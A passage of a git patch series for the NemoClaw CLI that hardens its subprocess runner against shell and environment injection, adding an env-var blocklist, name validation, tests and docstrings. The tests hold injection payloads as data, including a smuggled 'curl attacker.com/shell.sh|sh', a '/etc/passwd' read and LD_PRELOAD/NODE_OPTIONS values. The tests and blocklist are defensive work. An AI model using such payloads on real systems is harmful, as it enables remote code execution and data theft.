require("../bin/lib/deploy"); -const { runCaptureArgv } = require("../bin/lib/runner"); +const { runArgv, runCaptureArgv } = require("../bin/lib/runner"); describe("deploy helpers", () => { describe("validateInstanceName", () => { @@ -81,29 +80,28 @@ describe("deploy helpers", () => { describe("argv injection proof-of-concept", () => { it("$() subshell is literal, not expanded", () => { - const r = spawnSync("echo", ["$(echo PWNED)"], { encoding: "utf-8", stdio: "pipe" }); - assert.ok(r.stdout.includes("$(echo PWNED)"), "subshell must be literal"); - assert.ok(!r.stdout.includes("PWNED\n"), "subshell must not expand"); + const out = runCaptureArgv("echo", ["$(echo PWNED)"]); + assert.equal(out, "$(echo PWNED)"); }); it("backtick substitution is literal, not executed", () => { - const r = spawnSync("echo", ["`echo HACKED`"], { encoding: "utf-8", stdio: "pipe" }); - assert.ok(r.stdout.includes("`echo HACKED`"), "backtick must be literal"); + const out = runCaptureArgv("echo", ["`echo HACKED`"]); + assert.equal(out, "`echo HACKED`"); }); it("semicolon chaining is literal, not split", () => { - const r = spawnSync("echo", ["hello; echo INJECTED"], { encoding: "utf-8", stdio: "pipe" }); - assert.ok(r.stdout.includes("hello; echo INJECTED"), "semicolon must be literal"); + const out = runCaptureArgv("echo", ["hello; echo INJECTED"]); + assert.equal(out, "hello; echo INJECTED"); }); it("pipe is literal, not interpreted", () => { - const r = spawnSync("echo", ["data | cat /etc/passwd"], { encoding: "utf-8", stdio: "pipe" }); - assert.ok(r.stdout.includes("data | cat /etc/passwd"), "pipe must be literal"); + const out = runCaptureArgv("echo", ["data | cat /etc/passwd"]); + assert.equal(out, "data | cat /etc/passwd"); }); it("&& chaining is literal, not executed", () => { - const r = spawnSync("echo", ["ok && echo PWNED"], { encoding: "utf-8", stdio: "pipe" }); - assert.ok(r.stdout.includes("ok && echo PWNED"), "&& must be literal"); + const out = runCaptureArgv("echo", ["ok && echo PWNED"]); + assert.equal(out, "ok && echo PWNED"); }); }); @@ -142,36 +140,37 @@ describe("deploy helpers", () => { }); describe("runArgv security properties", () => { - it("argv arrays pass sandbox names with hyphens literally", () => { - const r = spawnSync("echo", ["my-assistant"], { encoding: "utf-8", stdio: "pipe" }); - assert.equal(r.stdout.trim(), "my-assistant"); + it("passes sandbox names with hyphens literally", () => { + const out = runCaptureArgv("echo", ["my-assistant"]); + assert.equal(out, "my-assistant"); }); - it("argv arrays pass GPU specs with colons literally", () => { - const r = spawnSync("echo", ["a2-highgpu-1g:nvidia-tesla-a100:1"], { encoding: "utf-8", stdio: "pipe" }); - assert.equal(r.stdout.trim(), "a2-highgpu-1g:nvidia-tesla-a100:1"); + it("passes GPU specs with colons literally", () => { + const out = runCaptureArgv("echo", ["a2-highgpu-1g:nvidia-tesla-a100:1"]); + assert.equal(out, "a2-highgpu-1g:nvidia-tesla-a100:1"); }); - it("argv prevents NEMOCLAW_GPU injection via brev create", () => { - // Simulate what would happen if NEMOCLAW_GPU contained injection + it("prevents NEMOCLAW_GPU injection via brev create", () => { const maliciousGpu = 'a100"; curl attacker.com/shell.sh|sh; echo "'; - const r = spawnSync("echo", ["--gpu", maliciousGpu], { encoding: "utf-8", stdio: "pipe" }); - // With argv, the entire string is one argument — no shell interpretation. - // "attacker" appears in stdout as literal text (not executed). - // The key assertion: the entire payload is passed through verbatim as - // a single argv element, proving no shell splitting or interpretation. - assert.ok(r.stdout.includes(maliciousGpu)); - assert.equal(r.stdout.trim(), `--gpu ${maliciousGpu}`); + const out = runCaptureArgv("echo", ["--gpu", maliciousGpu]); + assert.equal(out, `--gpu ${maliciousGpu}`); }); - it("argv passes file paths with spaces literally", () => { - const r = spawnSync("echo", ["/path/with spaces/file.txt"], { encoding: "utf-8", stdio: "pipe" }); - assert.equal(r.stdout.trim(), "/path/with spaces/file.txt"); + it("passes file paths with spaces literally", () => { + const out = runCaptureArgv("echo", ["/path/with spaces/file.txt"]); + assert.equal(out, "/path/with spaces/file.txt"); }); - it("argv passes environment variable syntax literally", () => { - const r = spawnSync("echo", ["NVIDIA_API_KEY=${SECRET}"], { encoding: "utf-8", stdio: "pipe" }); - assert.equal(r.stdout.trim(), "NVIDIA_API_KEY=${SECRET}"); + it("passes environment variable syntax literally", () => { + const out = runCaptureArgv("echo", ["NVIDIA_API_KEY=${SECRET}"]); + assert.equal(out, "NVIDIA_API_KEY=${SECRET}"); + }); + + it("shell: true in opts cannot override the lock", () => { + // Even if a caller mistakenly passes shell: true, runCaptureArgv + // forces shell: false after the opts spread + const out = runCaptureArgv("echo", ["$(echo PWNED)"], { shell: true }); + assert.equal(out, "$(echo PWNED)"); }); }); }); From 10c4f22aca87800f24ed0d9a717d7ecfe091f112 Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 17:44:13 -0700 Subject: [PATCH 5/9] fix: harden runArgv against env injection and cwd override Strike team findings: - Block dangerous env vars (LD_PRELOAD, NODE_OPTIONS, BASH_ENV, GIT_SSH_COMMAND, etc.) from caller-supplied env via blocklist - Move cwd: ROOT after opts spread so callers cannot override it - Add typeof + length limit (253 chars) to validateInstanceName - Add tests for env blocklist, cwd lock, length limit, type check --- bin/lib/deploy.js | 6 +++--- bin/lib/runner.js | 28 ++++++++++++++++++++++++---- test/deploy.test.js | 44 ++++++++++++++++++++++++++++++++++++++++++-- 3 files changed, 69 insertions(+), 9 deletions(-) diff --git a/bin/lib/deploy.js b/bin/lib/deploy.js index 16527db4a..4a39b2a85 100644 --- a/bin/lib/deploy.js +++ b/bin/lib/deploy.js @@ -12,10 +12,10 @@ const { runArgv } = require("./runner"); const INSTANCE_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/; function validateInstanceName(name) { - if (!name || !INSTANCE_NAME_RE.test(name)) { + if (!name || typeof name !== "string" || name.length > 253 || !INSTANCE_NAME_RE.test(name)) { throw new Error( - `Invalid instance name: ${JSON.stringify(name)}. ` + - "Must start with alphanumeric and contain only [a-zA-Z0-9._-]." + `Invalid instance name: ${JSON.stringify(String(name).slice(0, 40))}. ` + + "Must be a string, 1-253 chars, start with alphanumeric, and contain only [a-zA-Z0-9._-]." ); } } diff --git a/bin/lib/runner.js b/bin/lib/runner.js index 4da748404..433f32426 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -37,6 +37,26 @@ function run(cmd, opts = {}) { return result; } +// Env vars that must never be overridden by callers — they enable code +// execution, library injection, or trust-store hijacking in subprocesses. +const BLOCKED_ENV_VARS = new Set([ + "LD_PRELOAD", "LD_LIBRARY_PATH", "DYLD_INSERT_LIBRARIES", + "NODE_OPTIONS", "BASH_ENV", "ENV", + "GIT_SSH_COMMAND", "SSH_AUTH_SOCK", + "DOCKER_HOST", "KUBECONFIG", + "HTTP_PROXY", "HTTPS_PROXY", "ALL_PROXY", + "CURL_CA_BUNDLE", "SSL_CERT_FILE", "NODE_EXTRA_CA_CERTS", +]); + +function sanitizeEnv(callerEnv) { + if (!callerEnv) return {}; + const clean = {}; + for (const [k, v] of Object.entries(callerEnv)) { + if (!BLOCKED_ENV_VARS.has(k)) clean[k] = v; + } + return clean; +} + /** * Shell-free alternative to run(). Executes prog with an argv array via * spawnSync(prog, args) — no bash, no string interpolation, no injection. @@ -46,9 +66,9 @@ function runArgv(prog, args, opts = {}) { const { env, ...spawnOpts } = opts; const result = spawnSync(prog, args, { stdio: "inherit", - cwd: ROOT, ...spawnOpts, - env: { ...process.env, ...(env || {}) }, + cwd: ROOT, + env: { ...process.env, ...sanitizeEnv(env) }, shell: false, }); if (result.status !== 0 && !opts.ignoreError) { @@ -68,10 +88,10 @@ function runCaptureArgv(prog, args, opts = {}) { try { return execFileSync(prog, args, { encoding: "utf-8", - cwd: ROOT, stdio: ["pipe", "pipe", "pipe"], ...execOpts, - env: { ...process.env, ...(env || {}) }, + cwd: ROOT, + env: { ...process.env, ...sanitizeEnv(env) }, shell: false, }).trim(); } catch (err) { diff --git a/test/deploy.test.js b/test/deploy.test.js index 48b2cf8e9..adeab9f49 100644 --- a/test/deploy.test.js +++ b/test/deploy.test.js @@ -51,6 +51,19 @@ describe("deploy helpers", () => { it("rejects names starting with dot", () => { assert.throws(() => validateInstanceName(".hidden"), /Invalid instance name/); }); + + it("rejects names longer than 253 characters", () => { + assert.throws(() => validateInstanceName("a".repeat(254)), /Invalid instance name/); + }); + + it("accepts names at the 253 character limit", () => { + assert.doesNotThrow(() => validateInstanceName("a".repeat(253))); + }); + + it("rejects non-string types", () => { + assert.throws(() => validateInstanceName(42), /Invalid instance name/); + assert.throws(() => validateInstanceName({ toString: () => "valid" }), /Invalid instance name/); + }); }); describe("shellQuote", () => { @@ -167,10 +180,37 @@ describe("deploy helpers", () => { }); it("shell: true in opts cannot override the lock", () => { - // Even if a caller mistakenly passes shell: true, runCaptureArgv - // forces shell: false after the opts spread const out = runCaptureArgv("echo", ["$(echo PWNED)"], { shell: true }); assert.equal(out, "$(echo PWNED)"); }); + + it("cwd in opts cannot override ROOT", () => { + const out = runCaptureArgv("pwd", []); + const outWithCwd = runCaptureArgv("pwd", [], { cwd: "/tmp" }); + assert.equal(out, outWithCwd); + }); + + it("LD_PRELOAD in caller env is stripped", () => { + const out = runCaptureArgv("printenv", ["LD_PRELOAD"], { + env: { LD_PRELOAD: "/tmp/evil.so" }, + ignoreError: true, + }); + assert.equal(out, ""); + }); + + it("NODE_OPTIONS in caller env is stripped", () => { + const out = runCaptureArgv("printenv", ["NODE_OPTIONS"], { + env: { NODE_OPTIONS: "--require=/tmp/evil.js" }, + ignoreError: true, + }); + assert.equal(out, ""); + }); + + it("safe caller env vars pass through", () => { + const out = runCaptureArgv("printenv", ["MY_CUSTOM_VAR"], { + env: { MY_CUSTOM_VAR: "hello" }, + }); + assert.equal(out, "hello"); + }); }); }); From 920537d8c8502239f2bdf9197ba57ae5849985ec Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 17:56:29 -0700 Subject: [PATCH 6/9] fix: throw on blocked env vars instead of silent strip - sanitizeEnv now throws with descriptive message listing the blocked keys, so callers cannot silently fall back to ambient process.env - Add JSDoc safety note to runSsh documenting that remoteCmd is executed by the remote shell and must use constant strings or shellQuote() for dynamic values --- bin/lib/deploy.js | 2 ++ bin/lib/runner.js | 8 ++++---- test/deploy.test.js | 26 ++++++++++++-------------- 3 files changed, 18 insertions(+), 18 deletions(-) diff --git a/bin/lib/deploy.js b/bin/lib/deploy.js index 4a39b2a85..79f16d4e7 100644 --- a/bin/lib/deploy.js +++ b/bin/lib/deploy.js @@ -22,6 +22,8 @@ function validateInstanceName(name) { const SSH_OPTS = ["-o", "StrictHostKeyChecking=accept-new", "-o", "LogLevel=ERROR"]; +/** @param remoteCmd — executed by the remote shell. Use only constant strings + * or values wrapped in shellQuote(). Never interpolate unsanitized input. */ function runSsh(host, remoteCmd, opts = {}) { const args = [...SSH_OPTS]; if (opts.tty) args.unshift("-t"); diff --git a/bin/lib/runner.js b/bin/lib/runner.js index 433f32426..755681fd5 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -50,11 +50,11 @@ const BLOCKED_ENV_VARS = new Set([ function sanitizeEnv(callerEnv) { if (!callerEnv) return {}; - const clean = {}; - for (const [k, v] of Object.entries(callerEnv)) { - if (!BLOCKED_ENV_VARS.has(k)) clean[k] = v; + const blocked = Object.keys(callerEnv).filter((k) => BLOCKED_ENV_VARS.has(k)); + if (blocked.length > 0) { + throw new Error(`runArgv() does not allow overriding: ${blocked.join(", ")}`); } - return clean; + return { ...callerEnv }; } /** diff --git a/test/deploy.test.js b/test/deploy.test.js index adeab9f49..47c8640d4 100644 --- a/test/deploy.test.js +++ b/test/deploy.test.js @@ -190,20 +190,18 @@ describe("deploy helpers", () => { assert.equal(out, outWithCwd); }); - it("LD_PRELOAD in caller env is stripped", () => { - const out = runCaptureArgv("printenv", ["LD_PRELOAD"], { - env: { LD_PRELOAD: "/tmp/evil.so" }, - ignoreError: true, - }); - assert.equal(out, ""); - }); - - it("NODE_OPTIONS in caller env is stripped", () => { - const out = runCaptureArgv("printenv", ["NODE_OPTIONS"], { - env: { NODE_OPTIONS: "--require=/tmp/evil.js" }, - ignoreError: true, - }); - assert.equal(out, ""); + it("LD_PRELOAD in caller env throws", () => { + assert.throws( + () => runCaptureArgv("echo", ["x"], { env: { LD_PRELOAD: "/tmp/evil.so" } }), + /does not allow overriding: LD_PRELOAD/ + ); + }); + + it("NODE_OPTIONS in caller env throws", () => { + assert.throws( + () => runCaptureArgv("echo", ["x"], { env: { NODE_OPTIONS: "--require=/tmp/evil.js" } }), + /does not allow overriding: NODE_OPTIONS/ + ); }); it("safe caller env vars pass through", () => { From ac3746da64ffd1dc7ace0825fffa2778decb6eee Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 18:11:25 -0700 Subject: [PATCH 7/9] docs: add JSDoc to all exported functions for docstring coverage --- bin/lib/deploy.js | 23 +++++++++++++++++++++++ bin/lib/runner.js | 6 ++++++ 2 files changed, 29 insertions(+) diff --git a/bin/lib/deploy.js b/bin/lib/deploy.js index 79f16d4e7..3e7c49d6a 100644 --- a/bin/lib/deploy.js +++ b/bin/lib/deploy.js @@ -11,6 +11,11 @@ const { runArgv } = require("./runner"); const INSTANCE_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/; +/** + * Validate that name is a safe instance/hostname string. + * @param {string} name - Instance name to validate. + * @throws {Error} If name is invalid, non-string, or too long. + */ function validateInstanceName(name) { if (!name || typeof name !== "string" || name.length > 253 || !INSTANCE_NAME_RE.test(name)) { throw new Error( @@ -32,11 +37,24 @@ function runSsh(host, remoteCmd, opts = {}) { return runArgv("ssh", args, opts); } +/** + * Copy a file to a remote host via scp using argv arrays (no shell). + * @param {string} src - Local source path. + * @param {string} destHostPath - Remote destination in host:path format. + * @param {object} [opts] - Options forwarded to runArgv. + */ function runScp(src, destHostPath, opts = {}) { const args = ["-q", ...SSH_OPTS, src, destHostPath]; return runArgv("scp", args, opts); } +/** + * Sync files to a remote host via rsync using argv arrays (no shell). + * @param {string[]} sources - Local paths to sync. + * @param {string} host - Remote hostname (must pass validateInstanceName). + * @param {string} dest - Remote destination directory. + * @param {object} [opts] - Options forwarded to runArgv. + */ function runRsync(sources, host, dest, opts = {}) { const args = [ "-az", "--delete", @@ -50,6 +68,11 @@ function runRsync(sources, host, dest, opts = {}) { return runArgv("rsync", args, opts); } +/** + * Wrap a string in POSIX single quotes, escaping embedded quotes. + * @param {string} s - Value to quote. + * @returns {string} Shell-safe single-quoted string. + */ function shellQuote(s) { return "'" + s.replace(/'/g, "'\\''") + "'"; } diff --git a/bin/lib/runner.js b/bin/lib/runner.js index 755681fd5..2f5570419 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -48,6 +48,12 @@ const BLOCKED_ENV_VARS = new Set([ "CURL_CA_BUNDLE", "SSL_CERT_FILE", "NODE_EXTRA_CA_CERTS", ]); +/** + * Validate caller-supplied env vars against a blocklist of dangerous keys. + * Throws if any blocked key is present; returns a shallow copy otherwise. + * @param {object} [callerEnv] - Env overrides from the caller. + * @returns {object} Sanitized env entries safe to merge with process.env. + */ function sanitizeEnv(callerEnv) { if (!callerEnv) return {}; const blocked = Object.keys(callerEnv).filter((k) => BLOCKED_ENV_VARS.has(k)); From 92711c50c6084203ed52e77c1b67f196ed84895f Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 20:59:40 -0700 Subject: [PATCH 8/9] fix: address remaining CodeRabbit review findings - Block PATH from caller env overrides in BLOCKED_ENV_VARS (runner.js) - Add validateInstanceName() at entry of runSsh, runScp, runRsync (deploy.js) - Prevent encoding/stdio override in runCaptureArgv and ensure hardcoded values come after spread opts so they cannot be shadowed (runner.js) Signed-off-by: Brian Taylor --- bin/lib/deploy.js | 4 ++++ bin/lib/runner.js | 10 +++++++--- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/bin/lib/deploy.js b/bin/lib/deploy.js index 3e7c49d6a..44ff81f0d 100644 --- a/bin/lib/deploy.js +++ b/bin/lib/deploy.js @@ -30,6 +30,7 @@ const SSH_OPTS = ["-o", "StrictHostKeyChecking=accept-new", "-o", "LogLevel=ERRO /** @param remoteCmd — executed by the remote shell. Use only constant strings * or values wrapped in shellQuote(). Never interpolate unsanitized input. */ function runSsh(host, remoteCmd, opts = {}) { + validateInstanceName(host); const args = [...SSH_OPTS]; if (opts.tty) args.unshift("-t"); args.push(host); @@ -44,6 +45,8 @@ function runSsh(host, remoteCmd, opts = {}) { * @param {object} [opts] - Options forwarded to runArgv. */ function runScp(src, destHostPath, opts = {}) { + const [host] = destHostPath.split(":"); + validateInstanceName(host); const args = ["-q", ...SSH_OPTS, src, destHostPath]; return runArgv("scp", args, opts); } @@ -56,6 +59,7 @@ function runScp(src, destHostPath, opts = {}) { * @param {object} [opts] - Options forwarded to runArgv. */ function runRsync(sources, host, dest, opts = {}) { + validateInstanceName(host); const args = [ "-az", "--delete", "--exclude", "node_modules", diff --git a/bin/lib/runner.js b/bin/lib/runner.js index 2f5570419..a601ad509 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -40,6 +40,7 @@ function run(cmd, opts = {}) { // Env vars that must never be overridden by callers — they enable code // execution, library injection, or trust-store hijacking in subprocesses. const BLOCKED_ENV_VARS = new Set([ + "PATH", "LD_PRELOAD", "LD_LIBRARY_PATH", "DYLD_INSERT_LIBRARIES", "NODE_OPTIONS", "BASH_ENV", "ENV", "GIT_SSH_COMMAND", "SSH_AUTH_SOCK", @@ -89,15 +90,18 @@ function runArgv(prog, args, opts = {}) { * with no shell. Returns trimmed stdout. */ function runCaptureArgv(prog, args, opts = {}) { - const { env, ...execOpts } = opts; + const { env, encoding, stdio, ...execOpts } = opts; + if (encoding !== undefined || stdio !== undefined) { + throw new Error("runCaptureArgv() does not allow overriding encoding or stdio"); + } const { execFileSync } = require("child_process"); try { return execFileSync(prog, args, { - encoding: "utf-8", - stdio: ["pipe", "pipe", "pipe"], ...execOpts, cwd: ROOT, env: { ...process.env, ...sanitizeEnv(env) }, + encoding: "utf-8", + stdio: ["pipe", "pipe", "pipe"], shell: false, }).trim(); } catch (err) { From d8c930ed145d8b2db6794d43714e4a9f6c9df9ea Mon Sep 17 00:00:00 2001 From: Brian Taylor Date: Tue, 17 Mar 2026 22:17:50 -0700 Subject: [PATCH 9/9] docs: add JSDoc docstrings for CodeRabbit coverage threshold Signed-off-by: Brian Taylor --- bin/lib/onboard.js | 13 +++++++++++++ bin/lib/runner.js | 2 ++ bin/nemoclaw.js | 15 +++++++++++++++ test/preflight.test.js | 1 + 4 files changed, 31 insertions(+) diff --git a/bin/lib/onboard.js b/bin/lib/onboard.js index 8e0f0396f..dded94695 100644 --- a/bin/lib/onboard.js +++ b/bin/lib/onboard.js @@ -16,12 +16,14 @@ const EXPERIMENTAL = process.env.NEMOCLAW_EXPERIMENTAL === "1"; // ── Helpers ────────────────────────────────────────────────────── +/** Print a numbered step banner to the console. */ function step(n, total, msg) { console.log(""); console.log(` [${n}/${total}] ${msg}`); console.log(` ${"─".repeat(50)}`); } +/** Return true if `docker info` succeeds (Docker daemon is reachable). */ function isDockerRunning() { try { runCapture("docker info", { ignoreError: false }); @@ -31,6 +33,7 @@ function isDockerRunning() { } } +/** Return true if the `openshell` CLI is on PATH. */ function isOpenshellInstalled() { try { runCapture("command -v openshell"); @@ -40,6 +43,7 @@ function isOpenshellInstalled() { } } +/** Attempt to install the openshell CLI; returns true on success. */ function installOpenshell() { console.log(" Installing openshell CLI..."); run(`bash "${path.join(SCRIPTS, "install-openshell.sh")}"`, { ignoreError: true }); @@ -48,6 +52,7 @@ function installOpenshell() { // ── Step 1: Preflight ──────────────────────────────────────────── +/** Step 1: run preflight checks (Docker, openshell, cgroup, GPU). */ async function preflight() { step(1, 7, "Preflight checks"); @@ -106,6 +111,7 @@ async function preflight() { // ── Step 2: Gateway ────────────────────────────────────────────── +/** Step 2: destroy any previous gateway and start a fresh one. */ async function startGateway(gpu) { step(2, 7, "Starting OpenShell gateway"); @@ -152,6 +158,7 @@ async function startGateway(gpu) { // ── Step 3: Sandbox ────────────────────────────────────────────── +/** Step 3: prompt for a name, build the image, and create the sandbox. */ async function createSandbox(gpu) { step(3, 7, "Creating sandbox"); @@ -232,6 +239,7 @@ async function createSandbox(gpu) { // ── Step 4: NIM ────────────────────────────────────────────────── +/** Step 4: detect or prompt for an inference provider (NIM/Ollama/vLLM/cloud). */ async function setupNim(sandboxName, gpu) { step(4, 7, "Configuring inference (NIM)"); @@ -365,6 +373,7 @@ async function setupNim(sandboxName, gpu) { // ── Step 5: Inference provider ─────────────────────────────────── +/** Step 5: register the chosen inference provider with openshell. */ async function setupInference(sandboxName, model, provider) { step(5, 7, "Setting up inference provider"); @@ -414,6 +423,7 @@ async function setupInference(sandboxName, model, provider) { // ── Step 6: OpenClaw ───────────────────────────────────────────── +/** Step 6: mark OpenClaw as launched inside the sandbox. */ async function setupOpenclaw(sandboxName) { step(6, 7, "Setting up OpenClaw inside sandbox"); @@ -427,6 +437,7 @@ async function setupOpenclaw(sandboxName) { // ── Step 7: Policy presets ─────────────────────────────────────── +/** Step 7: offer and apply policy presets (pypi, npm, Telegram, etc.). */ async function setupPolicies(sandboxName) { step(7, 7, "Policy presets"); @@ -484,6 +495,7 @@ async function setupPolicies(sandboxName) { // ── Dashboard ──────────────────────────────────────────────────── +/** Print a summary dashboard with sandbox, model, and NIM status. */ function printDashboard(sandboxName, model, provider) { const nimStat = nim.nimStatus(sandboxName); const nimLabel = nimStat.running ? "running" : "not running"; @@ -508,6 +520,7 @@ function printDashboard(sandboxName, model, provider) { // ── Main ───────────────────────────────────────────────────────── +/** Run the full 7-step interactive onboarding wizard. */ async function onboard() { console.log(""); console.log(" NemoClaw Onboarding"); diff --git a/bin/lib/runner.js b/bin/lib/runner.js index a601ad509..829826447 100644 --- a/bin/lib/runner.js +++ b/bin/lib/runner.js @@ -23,6 +23,7 @@ if (!process.env.DOCKER_HOST) { } } +/** Execute a shell command via `bash -c`; exits the process on failure unless opts.ignoreError is set. */ function run(cmd, opts = {}) { const result = spawnSync("bash", ["-c", cmd], { stdio: "inherit", @@ -110,6 +111,7 @@ function runCaptureArgv(prog, args, opts = {}) { } } +/** Execute a shell command and return its trimmed stdout; returns "" on failure if opts.ignoreError is set. */ function runCapture(cmd, opts = {}) { try { return execSync(cmd, { diff --git a/bin/nemoclaw.js b/bin/nemoclaw.js index db6d84799..dd9792263 100755 --- a/bin/nemoclaw.js +++ b/bin/nemoclaw.js @@ -29,11 +29,13 @@ const GLOBAL_COMMANDS = new Set([ // ── Commands ───────────────────────────────────────────────────── +/** Launch the interactive onboarding wizard. */ async function onboard() { const { onboard: runOnboard } = require("./lib/onboard"); await runOnboard(); } +/** Run the deprecated legacy setup.sh (advises user to use onboard instead). */ async function setup() { console.log(""); console.log(" ⚠ `nemoclaw setup` is deprecated. Use `nemoclaw onboard` instead."); @@ -43,11 +45,13 @@ async function setup() { run(`bash "${SCRIPTS}/setup.sh"`); } +/** Run the DGX Spark setup script (fixes cgroup v2 + Docker config). */ async function setupSpark() { await ensureApiKey(); run(`sudo -E NVIDIA_API_KEY="${process.env.NVIDIA_API_KEY}" bash "${SCRIPTS}/setup-spark.sh"`); } +/** Deploy NemoClaw to a remote Brev VM: provision, sync, configure, and connect. */ async function deploy(instanceName) { if (!instanceName) { console.error(" Usage: nemoclaw deploy "); @@ -143,15 +147,18 @@ async function deploy(instanceName) { runSsh(name, "cd /home/ubuntu/nemoclaw && set -a && . .env && set +a && openshell sandbox connect nemoclaw", { tty: true }); } +/** Start background services (Telegram bot, tunnel, etc.). */ async function start() { await ensureApiKey(); run(`bash "${SCRIPTS}/start-services.sh"`); } +/** Stop all running NemoClaw services. */ function stop() { run(`bash "${SCRIPTS}/start-services.sh" --stop`); } +/** Display sandbox registry and service status. */ function showStatus() { // Show sandbox registry const { sandboxes, defaultSandbox } = registry.listSandboxes(); @@ -170,6 +177,7 @@ function showStatus() { run(`bash "${SCRIPTS}/start-services.sh" --status`); } +/** List all registered sandboxes with their model, provider, and policy info. */ function listSandboxes() { const { sandboxes, defaultSandbox } = registry.listSandboxes(); if (sandboxes.length === 0) { @@ -197,6 +205,7 @@ function listSandboxes() { // ── Sandbox-scoped actions ─────────────────────────────────────── +/** Ensure port-forward is alive and open an interactive shell in the sandbox. */ function sandboxConnect(sandboxName) { // Ensure port forward is alive before connecting run(`openshell forward start --background 18789 ${shellQuote(sandboxName)} 2>/dev/null || true`, { ignoreError: true }); @@ -204,6 +213,7 @@ function sandboxConnect(sandboxName) { } +/** Show detailed status for a single sandbox (registry + openshell + NIM health). */ function sandboxStatus(sandboxName) { const sb = registry.getSandbox(sandboxName); if (sb) { @@ -227,11 +237,13 @@ function sandboxStatus(sandboxName) { console.log(""); } +/** Stream or display sandbox logs, optionally following in real time. */ function sandboxLogs(sandboxName, follow) { const followFlag = follow ? " --follow" : ""; run(`openshell sandbox logs ${shellQuote(sandboxName)}${followFlag}`); } +/** Interactively select and apply a policy preset to a sandbox. */ async function sandboxPolicyAdd(sandboxName) { const allPresets = policies.listPresets(); const applied = policies.getAppliedPresets(sandboxName); @@ -254,6 +266,7 @@ async function sandboxPolicyAdd(sandboxName) { policies.applyPreset(sandboxName, answer); } +/** List all available policy presets and mark which are applied to the sandbox. */ function sandboxPolicyList(sandboxName) { const allPresets = policies.listPresets(); const applied = policies.getAppliedPresets(sandboxName); @@ -267,6 +280,7 @@ function sandboxPolicyList(sandboxName) { console.log(""); } +/** Stop NIM, delete the sandbox, and remove it from the registry. */ function sandboxDestroy(sandboxName) { console.log(` Stopping NIM for '${sandboxName}'...`); nim.stopNimContainer(sandboxName); @@ -280,6 +294,7 @@ function sandboxDestroy(sandboxName) { // ── Help ───────────────────────────────────────────────────────── +/** Print CLI usage information. */ function help() { console.log(` nemoclaw — NemoClaw CLI diff --git a/test/preflight.test.js b/test/preflight.test.js index 1700c284f..756e8c9b3 100644 --- a/test/preflight.test.js +++ b/test/preflight.test.js @@ -10,6 +10,7 @@ const path = require("path"); const { isCgroupV2, readDaemonJson, checkCgroupConfig } = require("../bin/lib/preflight"); // Helper: create a temp daemon.json with given content and return its path. +/** Create a temporary daemon.json with the given content and return its path. */ function writeTempDaemon(content) { const dir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-preflight-")); const p = path.join(dir, "daemon.json");